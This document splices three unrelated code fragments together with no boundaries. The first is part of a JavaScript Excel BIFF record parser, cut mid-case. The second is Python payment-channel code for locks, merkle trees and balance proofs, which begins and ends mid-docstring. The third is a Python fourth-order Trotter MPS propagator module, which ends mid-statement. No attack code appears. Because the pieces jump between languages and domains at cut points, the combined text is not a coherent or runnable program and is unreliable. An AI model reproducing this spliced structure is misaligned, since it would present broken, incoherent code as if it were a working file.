length, opts); else val = slurp(R, blob, length, opts); switch(R.n) { /* Workbook Options */ case 'Date1904': wb.opts.Date1904 = val; break; case 'WriteProtect': wb.opts.WriteProtect = true; break; case 'FilePass': if(!opts.enc) blob.l = 0; opts.enc = val; if(opts.WTF) console.error(val); if(!options.password) throw new Error("File is password-protected"); if(val.Type !== 0) throw new Error("Encryption scheme unsupported"); if(!val.valid) throw new Error("Password is incorrect"); break; case 'WriteAccess': opts.lastuser = val; break; case 'FileSharing': break; //TODO case 'CodePage': opts.codepage = val; set_cp(val); break; case 'RRTabId': opts.rrtabid = val; break; case 'WinProtect': opts.winlocked = val; break; case 'Template': break; // TODO case 'RefreshAll': wb.opts.RefreshAll = val; break; case 'BookBool': break; // TODO case 'UsesELFs': /* if(val) console.error("Unsupported ELFs"); */ break; case 'MTRSettings': { if(val[0] && val[1]) throw "Unsupported threads: " + val; } break; // TODO: actually support threads case 'CalcCount': wb.opts.CalcCount = val; break; case 'CalcDelta': wb.opts.CalcDelta = val; break; case 'CalcIter': wb.opts.CalcIter = val; break; case 'CalcMode': wb.opts.CalcMode = val; break; case 'CalcPrecision': wb.opts.CalcPrecision = val; break; case 'CalcSaveRecalc': wb.opts.CalcSaveRecalc = val; break; case 'CalcRefMode': opts.CalcRefMode = val; break; // TODO: implement R1C1 case 'Uncalced': break; case 'ForceFullCalculation': wb.opts.FullCalc = val; break; case 'WsBool': break; // TODO case 'Header': break; // TODO case 'Footer': break; // TODO case 'HCenter': break; // TODO case 'VCenter': break; // TODO case 'Pls': break; // TODO case 'Setup': break; // TODO case 'DefColWidth': break; // TODO case 'GCW': break; case 'LHRecord': break; case 'ColInfo': break; // TODO case 'Row': break; // TODO case 'DBCell': break; // TODO case 'MulBlank': break; // TODO case 'EntExU2': break; // TODO case 'SxView': break; // TODO case 'Sxvd': break; // TODO case 'SXVI': break; // TODO case 'SXVDEx': break; // TODO case 'SxIvd': break; // TODO case 'SXDI': break; // TODO case 'SXLI': break; // TODO case 'SXEx': break; // TODO case 'QsiSXTag': break; // TODO case 'Selection': break; case 'Feat': break; case 'FeatHdr': case 'FeatHdr11': break; case 'Feature11': case 'Feature12': case 'List12': break; case 'Blank': break; case 'Country': break; // TODO: international support case 'RecalcId': break; case 'DefaultRowHeight': case 'DxGCol': break; // TODO: htmlify case 'Fbi': case 'Fbi2': case 'GelFrame': break; case 'Font': break; // TODO case 'XF': XFs.push(val); break; case 'XFCRC': break; // TODO case 'XFExt': break; // TODO case 'Style': break; // TODO case 'StyleExt': break; // TODO case 'Palette': break; // TODO case 'ClrtClient': break; // TODO case 'Theme': break; // TODO case 'ExtSST': break; // TODO case 'BookExt': break; // TODO case 'RichTextStream': break; case 'BkHim': break; /* Protection */ case 'ScenarioProtect': break; case 'ObjProtect': break; /* Conditional Formatting */ case 'CondFmt12': break; /* Table */ case 'Table': break; // TODO case 'TableStyles': break; // TODO case 'TableStyle': break; // TODO case 'TableStyleElement': break; // TODO /* PivotTable */ case 'SXStreamID': break; // TODO case 'SXVS': break; // TODO case 'DConRef': break; // TODO case 'SXAddl': break; // TODO case 'DConName': break; // TODO case 'SXPI': break; // TODO case 'SxFormat': break; // TODO case 'SxSelect': break; // TODO case 'SxRule': break; // TODO case 'SxFilt': break; // TODO case 'SxItm': break; // TODO case 'SxDXF': break; // TODO /* Scenario Manager */ case 'ScenMan': break; /* Data Consolidation */ case 'DCon': break; /* Watched Cell */ case 'CellWatch': break; /* Print Settings */ case 'PrintRowCol': break; case 'PrintGrid': break; case 'PrintSize': break; case 'SupBook': supbooks[++sbc] = [val]; sbci = 0; break; case 'ExternName': supbooks[sbc][++sbci] = val; break; case 'XCT': break; case 'CRN': break; case 'Index': break; // TODO case 'Lbl': supbooks[0][++sbcli] = val; break; case 'ExternSheet': supbooks[sbc] = supbooks[sbc].concat(val); sbci += val.length; break; case 'Protect': out["!protect"] = val; break; /* for sheet or book */ case 'Password': if(val !== 0 && opts.WTF) console.error("Password verifier: " + val); break; case 'Prot4Rev': case 'Prot4RevPass': break; /*TODO: Revision Control*/ case 'BoundSheet8': { Directory[val.pos] = val; opts.snames.push(val.name); } break; case 'EOF': { if(--file_depth) break; var nout = {}; if(range.e) { out["!range"] = range; if(range.e.r > 0 && range.e.c > 0) { range.e.r--; range.e.c--; out["!ref"] = encode_range(range); range.e.r++; range.e.c++; } if(mergecells.length > 0) out["!merges"] = mergecells; if(objects.length > 0) out["!objects"] = objects; } for(y in out) if(out.hasOwnProperty(y)) nout[y] = out[y]; if(cur_sheet === "") Preamble = nout; else Sheets[cur_sheet] = nout; } break; case 'BOF': { if(file_depth++) break; cell_valid = true; out = {}; cur_sheet = (Directory[s] || {name:""}).name; lst.push([R.n, s, val, Directory[s]]); mergecells = []; objects = []; } break; case 'Number': { temp_val = {ixfe: val.ixfe, XF: XFs[val.ixfe], v:val.val, t:'n'}; if(temp_val.XF) try { temp_val.w=SSF.format(temp_val.XF.ifmt||0, temp_val.v); if(options.cellNF) temp_val.z = SSF._table[temp_val.XF.ifmt||0]; } catch(e) { if(options.WTF) throw e; } addline({c:val.c, r:val.r}, temp_val, options); } break; case 'BoolErr': { temp_val = {ixfe: val.ixfe, XF: XFs[val.ixfe], v:val.val, t:val.t}; if(temp_val.XF) try { temp_val.w=SSF.format(temp_val.XF.ifmt||0, temp_val.v); if(options.cellNF) temp_val.z = SSF._table[temp_val.XF.ifmt||0]; } catch(e) { if(options.WTF) throw e; } addline({c:val.c, r:val.r}, temp_val, options); } break; case 'RK': { temp_val = {ixfe: val.ixfe, XF: XFs[val.ixfe], v:val.rknum, t:'n'}; if(temp_val.XF) try { temp_val.w=SSF.format(temp_val.XF.ifmt||0, temp_val.v); if(options.cellNF) temp_val.z = SSF._table[temp_val.XF.ifmt||0]; } catch(e) { if(options.WTF) throw e; } addline({c:val.c, r:val.r}, temp_val, options); } break; case 'MulRk': { for(var j = val.c; j <= val.C; ++j) { var ixfe = val.rkrec[j-val.c][0]; temp_val= {ixfe:ixfe, XF:XFs[ixfe], v:val.rkrec[j-val.c][1], t:'n'}; if(temp_val.XF) try { temp_val.w=SSF.format(temp_val.XF.ifmt||0, temp_val.v); if(options.cellNF) temp_val.z = SSF._table[temp_val.XF.ifmt||0]; } catch(e) { if(options.WTF) throw e; } addline({c:j, r:val.r}, temp_val, options); } } break; case 'Formula': { switch(val.val) { case 'String': last_formula = val; break; case 'Array Formula': throw "Array Formula unsupported"; default: temp_val = {v:val.val, ixfe:val.cell.ixfe, t:val.tt}; temp_val.XF = XFs[temp_val.ixfe]; if(options.cellFormula) temp_val.f = "="+stringify_formula(val.formula,range,val.cell,supbooks); if(temp_val.XF) try { temp_val.w=SSF.format(temp_val.XF.ifmt||0, temp_val.v); if(options.cellNF) temp_val.z = SSF._table[temp_val.XF.ifmt||0]; } catch(e) { if(options.WTF) throw e; } addline(val.cell, temp_val, options); last_formula = val; } } break; case 'String': { if(last_formula) { last_formula.val = val; temp_val = {v:last_formula.val, ixfe:last_formula.cell.ixfe, t:'s'}; temp_val.XF = XFs[temp_val.ixfe]; if(options.cellFormula) temp_val.f = "="+stringify_formula(last_formula.formula, range, last_formula.cell, supbooks); if(temp_val.XF) try { temp_val.w=SSF.format(temp_val.XF.ifmt||0, temp_val.v); if(options.cellNF) temp_val.z = SSF._table[temp_val.XF.ifmt||0]; } catch(e) { if(options.WTF) throw e; } addline(last_formula.cell, temp_val, options); last_formula = null; } } break; case 'Array': { array_formulae.push(val); } break; case 'ShrFmla': { if(!cell_valid) break; //if(options.cellFormula) out[last_cell].f = stringify_formula(val[0], range, lastcell, supbooks); /* TODO: capture range */ shared_formulae[encode_cell(last_formula.cell)]= val[0]; } break; case 'LabelSst': { temp_val={v:sst[val.isst].t, ixfe:val.ixfe, t:'s'}; temp_val.XF = XFs[temp_val.ixfe]; if(temp_val.XF) try { temp_val.w=SSF.format(temp_val.XF.ifmt||0, temp_val.v); if(options.cellNF) temp_val.z = SSF._table[temp_val.XF.ifmt||0]; } catch(e) { if(options.WTF) throw e; } addline({c:val.c, r:val.r}, temp_val, options); } break; case 'Label': { /* Some writers erroneously write Label */ temp_val = {v:val.val, ixfe:val.ixfe, XF:XFs[val.ixfe], t:'s'}; if(temp_val.XF) try { temp_val.w=SSF.format(temp_val.XF.ifmt||0, temp_val.v); if(options.cellNF) temp_val.z = SSF._table[temp_val.XF.ifmt||0]; } catch(e) { if(options.WTF) throw e; } addline({c:val.c, r:val.r}, temp_val, options); } break; case 'Dimensions': { if(file_depth === 1) range = val; /* TODO: stack */ } break; case 'SST': { sst = val; } break; case 'Format': { /* val = [id, fmt] */ SSF.load(val[1], val[0]); } break; case 'Scl': { //console.log("Zoom Level:", val[0]/val[1],val); } break; case 'SheetExt': { } break; case 'SheetExtOptional': { } break; /* VBA */ case 'ObNoMacros': { } break; case 'ObProj': { } break; case 'CodeName': { } break; case 'GUIDTypeLib': { } break; case 'MergeCells': mergecells = mergecells.concat(val); break; case 'Obj': objects[val.cmo[0]] = opts.lastobj = val; break; case 'TxO': opts.lastobj.TxO = val; break; case 'HLink': { for(rngR = val[0].s.r; rngR <= val[0].e.r; ++rngR) for(rngC = val[0].s.c; rngC <= val[0].e.c; ++rngC) if(out[encode_cell({c:rngC,r:rngR})]) out[encode_cell({c:rngC,r:rngR})].l = val[1]; } break; case 'HLinkTooltip': { for(rngR = val[0].s.r; rngR <= val[0].e.r; ++rngR) for(rngC = val[0].s.c; rngC <= val[0].e.c; ++rngC) if(out[encode_cell({c:rngC,r:rngR})]) out[encode_cell({c:rngC,r:rngR})].l.tooltip = val[1]; } break; case 'WOpt': break; // TODO: WTF? case 'PhoneticInfo': break; case 'OleObjectSize': break; /* Differential Formatting */ case 'DXF': case 'DXFN': case 'DXFN12': case 'DXFN12List': case 'DXFN12NoCB': break; /* Data Validation */ case 'Dv': case 'DVal': break; /* Data Series */ case 'BRAI': case 'Series': case 'SeriesText': break; /* Data Connection */ case 'DConn': break; case 'DbOrParamQry': break; case 'DBQueryExt': break; /* Formatting */ case 'IFmtRecord': break; case 'CondFmt': case 'CF': case 'CF12': case 'CFEx': break; /* Comments */ case 'Note': { cc = out[encode_cell(val[0])]; var noteobj = objects[val[2]]; if(!cc) break; if(!cc.c) cc.c = []; cmnt = {a:val[1],t:noteobj.TxO.t}; cc.c.push(cmnt); } break; case 'NameCmt': break; /* Chart */ case 'Dat': case 'Begin': case 'End': case 'StartBlock': case 'EndBlock': case 'Frame': case 'Area': case 'Axis': case 'AxisLine': case 'Tick': break; case 'AxesUsed': case 'CrtLayout12': case 'CrtLayout12A': case 'CrtLink': case 'CrtLine': case 'CrtMlFrt': break; case 'LineFormat': case 'AreaFormat': case 'Chart': case 'Chart3d': case 'Chart3DBarShape': case 'ChartFormat': case 'ChartFrtInfo': break; case 'PlotArea': case 'PlotGrowth': break; case 'SeriesList': case 'SerParent': case 'SerAuxTrend': break; case 'DataFormat': case 'SerToCrt': case 'FontX': break; case 'CatSerRange': case 'AxcExt': case 'SerFmt': break; case 'ShtProps': break; case 'DefaultText': case 'Text': case 'CatLab': break; case 'DataLabExtContents': break; case 'Legend': case 'LegendException': break; case 'Pie': case 'Scatter': break; case 'PieFormat': case 'MarkerFormat': break; case 'StartObject': case 'EndObject': break; case 'AlRuns':
by the token network contract to verify the secret expiry and calculate the token amounts to transfer. """ if len(end_state.merkletree.layers[LEAVES]) == 0: # pylint: disable=len-as-condition return None lockhashes_to_locks = dict() lockhashes_to_locks.update({ lock.lockhash: lock for secrethash, lock in end_state.secrethashes_to_lockedlocks.items() }) lockhashes_to_locks.update({ proof.lock.lockhash: proof.lock for secrethash, proof in end_state.secrethashes_to_unlockedlocks.items() }) lockhashes_to_locks.update({ proof.lock.lockhash: proof.lock for secrethash, proof in end_state.secrethashes_to_onchain_unlockedlocks.items() }) ordered_locks = [ lockhashes_to_locks[lockhash] for lockhash in end_state.merkletree.layers[LEAVES] ] return ordered_locks def get_lock( end_state: NettingChannelEndState, secrethash: SecretHash, ) -> Optional[HashTimeLockState]: """Return the lock correspoding to `secrethash` or None if the lock is unknown. """ lock = end_state.secrethashes_to_lockedlocks.get(secrethash) if not lock: partial_unlock = end_state.secrethashes_to_unlockedlocks.get(secrethash) if not partial_unlock: partial_unlock = end_state.secrethashes_to_onchain_unlockedlocks.get(secrethash) if partial_unlock: lock = partial_unlock.lock assert isinstance(lock, HashTimeLockState) or lock is None return lock def lock_exists_in_either_channel_side( channel_state: NettingChannelState, secrethash: SecretHash, ) -> bool: """Check if the lock with `secrethash` exists in either our state or the partner's state""" lock = get_lock(channel_state.our_state, secrethash) if not lock: lock = get_lock(channel_state.partner_state, secrethash) return lock is not None def get_next_nonce(end_state: NettingChannelEndState) -> Nonce: if end_state.balance_proof: return end_state.balance_proof.nonce + 1 # 0 must not be used since in the netting contract it represents null. return 1 def _merkletree_width(merkletree: MerkleTreeState) -> int: return len(merkletree.layers[LEAVES]) def get_number_of_pending_transfers(channel_end_state: NettingChannelEndState) -> int: return _merkletree_width(channel_end_state.merkletree) def get_status(channel_state): if channel_state.settle_transaction: finished_successfully = ( channel_state.settle_transaction.result == TransactionExecutionStatus.SUCCESS ) running = channel_state.settle_transaction.finished_block_number is None if finished_successfully: result = CHANNEL_STATE_SETTLED elif running: result = CHANNEL_STATE_SETTLING else: result = CHANNEL_STATE_UNUSABLE elif channel_state.close_transaction: finished_successfully = ( channel_state.close_transaction.result == TransactionExecutionStatus.SUCCESS ) running = channel_state.close_transaction.finished_block_number is None if finished_successfully: result = CHANNEL_STATE_CLOSED elif running: result = CHANNEL_STATE_CLOSING else: result = CHANNEL_STATE_UNUSABLE else: result = CHANNEL_STATE_OPENED return result def _del_unclaimed_lock(end_state: NettingChannelEndState, secrethash: SecretHash): if secrethash in end_state.secrethashes_to_lockedlocks: del end_state.secrethashes_to_lockedlocks[secrethash] if secrethash in end_state.secrethashes_to_unlockedlocks: del end_state.secrethashes_to_unlockedlocks[secrethash] def _del_lock(end_state: NettingChannelEndState, secrethash: SecretHash) -> None: """Removes the lock from the indexing structures. Note: This won't change the merkletree! """ assert is_lock_pending(end_state, secrethash) _del_unclaimed_lock(end_state, secrethash) if secrethash in end_state.secrethashes_to_onchain_unlockedlocks: del end_state.secrethashes_to_onchain_unlockedlocks[secrethash] def set_closed( channel_state: NettingChannelState, block_number: BlockNumber, ) -> None: if not channel_state.close_transaction: channel_state.close_transaction = TransactionExecutionStatus( None, block_number, TransactionExecutionStatus.SUCCESS, ) elif not channel_state.close_transaction.finished_block_number: channel_state.close_transaction.finished_block_number = block_number channel_state.close_transaction.result = TransactionExecutionStatus.SUCCESS def set_settled( channel_state: NettingChannelState, block_number: BlockNumber, ) -> None: if not channel_state.settle_transaction: channel_state.settle_transaction = TransactionExecutionStatus( None, block_number, TransactionExecutionStatus.SUCCESS, ) elif not channel_state.settle_transaction.finished_block_number: channel_state.settle_transaction.finished_block_number = block_number channel_state.settle_transaction.result = TransactionExecutionStatus.SUCCESS def update_contract_balance( end_state: NettingChannelEndState, contract_balance: Balance, ) -> None: if contract_balance > end_state.contract_balance: end_state.contract_balance = contract_balance def compute_proof_for_lock( end_state: NettingChannelEndState, secret: Secret, lock: HashTimeLockState, ) -> UnlockProofState: # forcing bytes because ethereum.abi doesn't work with bytearray merkle_proof = compute_merkleproof_for(end_state.merkletree, lock.lockhash) return UnlockProofState( merkle_proof, lock.encoded, secret, ) def compute_merkletree_with( merkletree: MerkleTreeState, lockhash: LockHash, ) -> Optional[MerkleTreeState]: """Register the given lockhash with the existing merkle tree.""" # Use None to inform the caller the lockshash is already known result = None leaves = merkletree.layers[LEAVES] if lockhash not in leaves: leaves = list(leaves) leaves.append(lockhash) result = MerkleTreeState(compute_layers(leaves)) return result def compute_merkletree_without( merkletree: MerkleTreeState, lockhash: LockHash, ) -> MerkleTreeState: # Use None to inform the caller the lockshash is unknown result = None leaves = merkletree.layers[LEAVES] if lockhash in leaves: leaves = list(leaves) leaves.remove(lockhash) if leaves: result = MerkleTreeState(compute_layers(leaves)) else: result = EMPTY_MERKLE_TREE return result def create_sendlockedtransfer( channel_state: NettingChannelState, initiator: InitiatorAddress, target: TargetAddress, amount: PaymentAmount, message_identifier: MessageID, payment_identifier: PaymentID, expiration: BlockExpiration, secrethash: SecretHash, ) -> Tuple[SendLockedTransfer, Optional[MerkleTreeState]]: our_state = channel_state.our_state partner_state = channel_state.partner_state our_balance_proof = our_state.balance_proof msg = 'caller must make sure there is enough balance' assert amount <= get_distributable(our_state, partner_state), msg msg = 'caller must make sure the channel is open' assert get_status(channel_state) == CHANNEL_STATE_OPENED, msg lock = HashTimeLockState( amount, expiration, secrethash, ) merkletree = compute_merkletree_with( channel_state.our_state.merkletree, lock.lockhash, ) # The caller must ensure the same lock is not being used twice assert merkletree, 'lock is already registered' locksroot = merkleroot(merkletree) if our_balance_proof: transferred_amount = our_balance_proof.transferred_amount else: transferred_amount = 0 msg = 'caller must make sure the result wont overflow' assert transferred_amount + amount <= UINT256_MAX, msg token = channel_state.token_address nonce = get_next_nonce(channel_state.our_state) recipient = channel_state.partner_state.address # the new lock is not registered yet locked_amount: TokenAmount = get_amount_locked(our_state) + amount balance_proof = BalanceProofUnsignedState( nonce=nonce, transferred_amount=transferred_amount, locked_amount=locked_amount, locksroot=locksroot, token_network_identifier=channel_state.token_network_identifier, channel_identifier=channel_state.identifier, chain_id=channel_state.chain_id, ) locked_transfer = LockedTransferUnsignedState( payment_identifier, token, balance_proof, lock, Address(initiator), Address(target), ) lockedtransfer = SendLockedTransfer( recipient=recipient, channel_identifier=channel_state.identifier, message_identifier=message_identifier, transfer=locked_transfer, ) return lockedtransfer, merkletree def create_unlock( channel_state: NettingChannelState, message_identifier: MessageID, payment_identifier: PaymentID, secret: Secret, lock: HashTimeLockState, ) -> SendUnlockAndMerkleTree: our_state = channel_state.our_state msg = 'caller must make sure the lock is known' assert is_lock_pending(our_state, lock.secrethash), msg msg = 'caller must make sure the channel is open' assert get_status(channel_state) == CHANNEL_STATE_OPENED, msg our_balance_proof = our_state.balance_proof if our_balance_proof: transferred_amount: TokenAmount = lock.amount + our_balance_proof.transferred_amount else: transferred_amount = lock.amount merkletree = compute_merkletree_without( our_state.merkletree, lock.lockhash, ) locksroot = merkleroot(merkletree) token_address = channel_state.token_address nonce = get_next_nonce(our_state) recipient = channel_state.partner_state.address # the lock is still registered locked_amount: TokenAmount = get_amount_locked(our_state) - lock.amount balance_proof = BalanceProofUnsignedState( nonce=nonce, transferred_amount=transferred_amount, locked_amount=locked_amount, locksroot=locksroot, token_network_identifier=channel_state.token_network_identifier, channel_identifier=channel_state.identifier, chain_id=channel_state.chain_id, ) unlock_lock = SendBalanceProof( recipient=recipient, channel_identifier=channel_state.identifier, message_identifier=message_identifier, payment_identifier=payment_identifier, token_address=token_address, secret=secret, balance_proof=balance_proof, ) return unlock_lock, merkletree def send_lockedtransfer( channel_state: NettingChannelState, initiator: InitiatorAddress, target: TargetAddress, amount: PaymentAmount, message_identifier: MessageID, payment_identifier: PaymentID, expiration: BlockExpiration, secrethash: SecretHash, ) -> SendLockedTransfer: send_locked_transfer_event, merkletree = create_sendlockedtransfer( channel_state, initiator, target, amount, message_identifier, payment_identifier, expiration, secrethash, ) transfer = send_locked_transfer_event.transfer lock = transfer.lock channel_state.our_state.balance_proof = transfer.balance_proof channel_state.our_state.merkletree = merkletree channel_state.our_state.secrethashes_to_lockedlocks[lock.secrethash] = lock return send_locked_transfer_event def send_refundtransfer( channel_state: NettingChannelState, initiator: InitiatorAddress, target: TargetAddress, amount: PaymentAmount, message_identifier: MessageID, payment_identifier: PaymentID, expiration: BlockExpiration, secrethash: SecretHash, ) -> SendRefundTransfer: msg = 'Refunds are only valid for *known and pending* transfers' assert secrethash in channel_state.partner_state.secrethashes_to_lockedlocks, msg msg = 'caller must make sure the channel is open' assert get_status(channel_state) == CHANNEL_STATE_OPENED, msg send_mediated_transfer, merkletree = create_sendlockedtransfer( channel_state, initiator, target, amount, message_identifier, payment_identifier, expiration, secrethash, ) mediated_transfer = send_mediated_transfer.transfer lock = mediated_transfer.lock channel_state.our_state.balance_proof = mediated_transfer.balance_proof channel_state.our_state.merkletree = merkletree channel_state.our_state.secrethashes_to_lockedlocks[lock.secrethash] = lock refund_transfer = refund_from_sendmediated(send_mediated_transfer) return refund_transfer def send_unlock( channel_state: NettingChannelState, message_identifier: MessageID, payment_identifier: PaymentID, secret: Secret, secrethash: SecretHash, ) -> SendBalanceProof: lock = get_lock(channel_state.our_state, secrethash) assert lock unlock, merkletree = create_unlock( channel_state, message_identifier, payment_identifier, secret, lock, ) channel_state.our_state.balance_proof = unlock.balance_proof channel_state.our_state.merkletree = merkletree _del_lock(channel_state.our_state, lock.secrethash) return unlock def events_for_close( channel_state: NettingChannelState, block_number: BlockNumber, ) -> List[Event]: events = list() if get_status(channel_state) in CHANNEL_STATES_PRIOR_TO_CLOSED: channel_state.close_transaction = TransactionExecutionStatus( block_number, None, None, ) balance_proof = channel_state.partner_state.balance_proof # silence mypy: partner's balance proofs should be signed assert balance_proof is None or isinstance(balance_proof, BalanceProofSignedState) close_event = ContractSendChannelClose( channel_state.identifier, channel_state.token_address, channel_state.token_network_identifier, balance_proof, ) events.append(close_event) return events def create_sendexpiredlock( sender_end_state: NettingChannelEndState, locked_lock: HashTimeLockState, pseudo_random_generator: random.Random, chain_id: ChainID, token_network_identifier: TokenNetworkID, channel_identifier: ChannelID, recipient: Address, ) -> Tuple[Optional[SendLockExpired], Optional[MerkleTreeState]]: nonce = get_next_nonce(sender_end_state) locked_amount = get_amount_locked(sender_end_state) balance_proof = sender_end_state.balance_proof updated_locked_amount: TokenAmount = locked_amount - locked_lock.amount assert balance_proof is not None, 'there should be a balance proof because a lock is expiring' transferred_amount = balance_proof.transferred_amount merkletree = compute_merkletree_without(sender_end_state.merkletree, locked_lock.lockhash) if not merkletree: return None, None locksroot = merkleroot(merkletree) balance_proof = BalanceProofUnsignedState( nonce=nonce, transferred_amount=transferred_amount, locked_amount=updated_locked_amount, locksroot=locksroot, token_network_identifier=token_network_identifier, channel_identifier=channel_identifier, chain_id=chain_id, ) send_lock_expired = SendLockExpired( recipient=recipient, message_identifier=message_identifier_from_prng(pseudo_random_generator), balance_proof=balance_proof, secrethash=locked_lock.secrethash, ) return send_lock_expired, merkletree def events_for_expired_lock( channel_state: NettingChannelState, locked_lock: HashTimeLockState, pseudo_random_generator: random.Random, ) -> List[SendLockExpired]: msg = 'caller must make sure the channel is open' assert get_status(channel_state) == CHANNEL_STATE_OPENED, msg send_lock_expired, merkletree = create_sendexpiredlock( sender_end_state=channel_state.our_state, locked_lock=locked_lock, pseudo_random_generator=pseudo_random_generator, chain_id=channel_state.chain_id, token_network_identifier=channel_state.token_network_identifier, channel_identifier=channel_state.identifier, recipient=channel_state.partner_state.address, ) if send_lock_expired: channel_state.our_state.merkletree = merkletree channel_state.our_state.balance_proof = send_lock_expired.balance_proof _del_unclaimed_lock(channel_state.our_state, locked_lock.secrethash) return [send_lock_expired] return [] def register_secret_endstate( end_state: NettingChannelEndState, secret: Secret, secrethash: SecretHash, ) -> None: if is_lock_locked(end_state, secrethash): pending_lock = end_state.secrethashes_to_lockedlocks[secrethash] del end_state.secrethashes_to_lockedlocks[secrethash] end_state.secrethashes_to_unlockedlocks[secrethash] = UnlockPartialProofState( pending_lock, secret, ) def register_onchain_secret_endstate( end_state: NettingChannelEndState, secret: Secret, secrethash: SecretHash, secret_reveal_block_number: BlockNumber, delete_lock: bool = True, ) -> None: # the lock might be in end_state.secrethashes_to_lockedlocks or # end_state.secrethashes_to_unlockedlocks # It should be removed from both and moved into secrethashes_to_onchain_unlockedlocks pending_lock = None if is_lock_locked(end_state, secrethash): pending_lock: HashTimeLockState = end_state.secrethashes_to_lockedlocks[secrethash] if secrethash in end_state.secrethashes_to_unlockedlocks: pending_lock: HashTimeLockState = end_state.secrethashes_to_unlockedlocks[secrethash].lock if pending_lock: # If pending lock is still locked or unlocked but unclaimed # And has expired before the on-chain secret reveal was mined, # Then we simply reject on-chain secret reveal if pending_lock.expiration < secret_reveal_block_number: return if delete_lock: _del_lock(end_state, secrethash) end_state.secrethashes_to_onchain_unlockedlocks[secrethash] = UnlockPartialProofState( pending_lock, secret, ) def register_offchain_secret( channel_state: NettingChannelState, secret: Secret, secrethash: SecretHash, ) -> None: """This will register the secret and set the
<reponame>fhoeb/py-tmps<filename>tmps/star/propagator/mps_4o_propagator.py """ Container object for MPS fourth order trotter time evolution operators """ import mpnum as mp from scipy.linalg import expm from tmps.utils.swap import get_swap_mpo from tmps.star.propagator.propagator_base import StarMPPropagatorBase class StarMPS4OPropagator(StarMPPropagatorBase): def __init__(self, shape, system_index, hi_list, tau=0.01, op_compression_kwargs=None, to_cform=None): """ Constructor for the MPPropagator class. Constructs propagation operators which correspond to a particular shape of the chain for which we wish to propagate a state (mpo or mps shape). Uses fourth order trotter decomposition for the Hamiltonian: U(\tau) = U_2(\tau_1) U_2(\tau_1) U_2(\tau_2) U_2(\tau_1) U_2(\tau_1) where the U_2 are second order trotter decompositions of the form: U(\tau) = two sweeps of e^(-j*H_i*\tau/2), e^(-j*H_i*\tau/2) Method of propagation is explained in detail in: DMRG for Multiband Impurity Solvers by <NAME> :param shape: Shape of the state (or chain on which) to propagate (in mparray shape form). Only axis 0 legs are taken into account :param system_index: Index of the system site in the chain (place of the system site operator in the hi_list) :param hi_list: List/tuple for all terms in the Hamiltonian H = \sum_i hi Ordered like this: - Sites left of the system site (denoted by system index) couple (from left to right) the current site to the system site (and contain the site local operators for the current sites only!) - The term for the system site must be present and denotes the local Hamiltonian only! May be None, in which case the local Hamiltonian for the site is assumed to be 0 - Sites right of the system site (denoted by system index) couple (from left to right) the system site to the current site (and contain the site local operators for the current sites only!) :param tau: Timestep for each invocation of evolve :param op_compression_kwargs: Arguments for second order trotter step U(\tau_i) operator precompression """ self.ancilla_sites = False self.build_adj = False self._assert_ndims(shape) self.tau_1 = 1/(4 - 4**(1/3)) * tau self.tau_2 = tau - 4*self.tau_1 self.step_trotter_error = tau ** 5 super().__init__(shape, system_index, hi_list, tau=tau, op_compression_kwargs=op_compression_kwargs, to_cform=to_cform) def _assert_ndims(self, shape): """ Checks if ndims per site are all the same, and if they are smaller or equal to 2. For physical legs only with two legs per site we also check if the leg dimensions agree (quadratic operator) :param shape: state/chain shape to test for ndims :return: """ init_site_legs = len(shape[0]) assert init_site_legs <= 2 # For mpos/operators we have 2 physical legs per site, check that their dimensions agree if init_site_legs == 2: # For mpos/operators we have 2 physical legs per site, check that their dimensions agree for site_shape in shape: assert init_site_legs == len(site_shape) assert site_shape[0] == site_shape[1] else: for site_shape in shape: assert init_site_legs == len(site_shape) def _get_swaps(self): """ :return: post_swap (list of swaps, which are to be applied after a trotterized unitary time step; List is in the same order as the sites on the chain, Nones at both ends and at system site. Index in the list indicates the bath site with which to swap the system site. Same for post_swap), pre_swap (list of swaps, which are to be applied before a trotterized unitary time step) """ post_swap, pre_swap = [], [] system_shape = self.shape[self.system_index] for site, site_shape in enumerate(self.shape): # If ancilla sites are present, one must group two sites of the four available ones together if 0 < site < self.system_index: post_swap.append(get_swap_mpo(site_shape[0], system_shape[0])) pre_swap.append(get_swap_mpo(system_shape[0], site_shape[0])) elif self.system_index < site < self.L - 1: post_swap.append(get_swap_mpo(system_shape[0], site_shape[0])) pre_swap.append(get_swap_mpo(site_shape[0], system_shape[0])) else: # Extend arrays to match length of propagator (exp^(iHt)-mpo) array post_swap.append(None) pre_swap.append(None) return post_swap, pre_swap def _build_2o_trotter_exponentials(self, hi_list, tau, start_tau, end_tau): """ Builds list, which contains all trotterized bond-local exponentials (exp(-1j*\tau*hi) in mpo form. At the system index, the list contains only a site local operator. Everywhere else we have operators, which act on one bond in the chain (assuming the system is right next to them) For the system site local time evolution we construct two operators, one with start_tau, the other with end_tau as timesteps (thus, the entry of the system_index contains a tuple of operators). This is done to be able to skip unnecessary double applications of the system operator between two second order trotter sweeps. :return: List of all trotterized bond-local exponentials (exp(-1j*\tau*hi) in mpo form. """ propagator_mpos = [] if self.system_index == 0: for site, hi in enumerate(hi_list): if site == 0: # system site mpo = (self._system_site_mpo(hi, start_tau), self._system_site_mpo(hi, end_tau)) elif 0 < site < self.L-1: # Couple from system to site mpo = self._mpo_from_hi(hi, tau/2, lbond=self.system_index, rbond=site) else: # final site mpo = self._mpo_from_hi(hi, tau, lbond=self.system_index, rbond=self.L-1) propagator_mpos.append(mpo) else: for site, hi in enumerate(hi_list): if site == 0: mpo = self._mpo_from_hi(hi, tau, lbond=0, rbond=self.system_index) elif 0 < site < self.system_index: # Couple from site to system mpo = self._mpo_from_hi(hi, tau/2, lbond=site, rbond=self.system_index) elif site == self.system_index: # system site mpo mpo = (self._system_site_mpo(hi, start_tau), self._system_site_mpo(hi, end_tau)) elif self.system_index < site < self.L-1: # Couple from system to site mpo = self._mpo_from_hi(hi, tau/2, lbond=self.system_index, rbond=site) else: # final site mpo = self._mpo_from_hi(hi, tau, lbond=self.system_index, rbond=self.L-1) propagator_mpos.append(mpo) return propagator_mpos def _build_trotter_exponentials(self, hi_list): """ Builds all required second order trotter exponentials for timesteps \tau_1 and \tau_2 using _build_2o_trotter_exponentials. :return: List of Lists: [U_2(\tau_1)-exponentials (ordered by system site), U_2(\tau_2)-exponentials (ordered by system site] """ second_order_trotter_tau_1 = self._build_2o_trotter_exponentials(hi_list, self.tau_1, self.tau_1/2, self.tau_1) second_order_trotter_tau_2 = self._build_2o_trotter_exponentials(hi_list, self.tau_2, (self.tau_1 + self.tau_2)/2, (self.tau_1 + self.tau_2)/2) propagator_mpos = [second_order_trotter_tau_1, second_order_trotter_tau_2] return 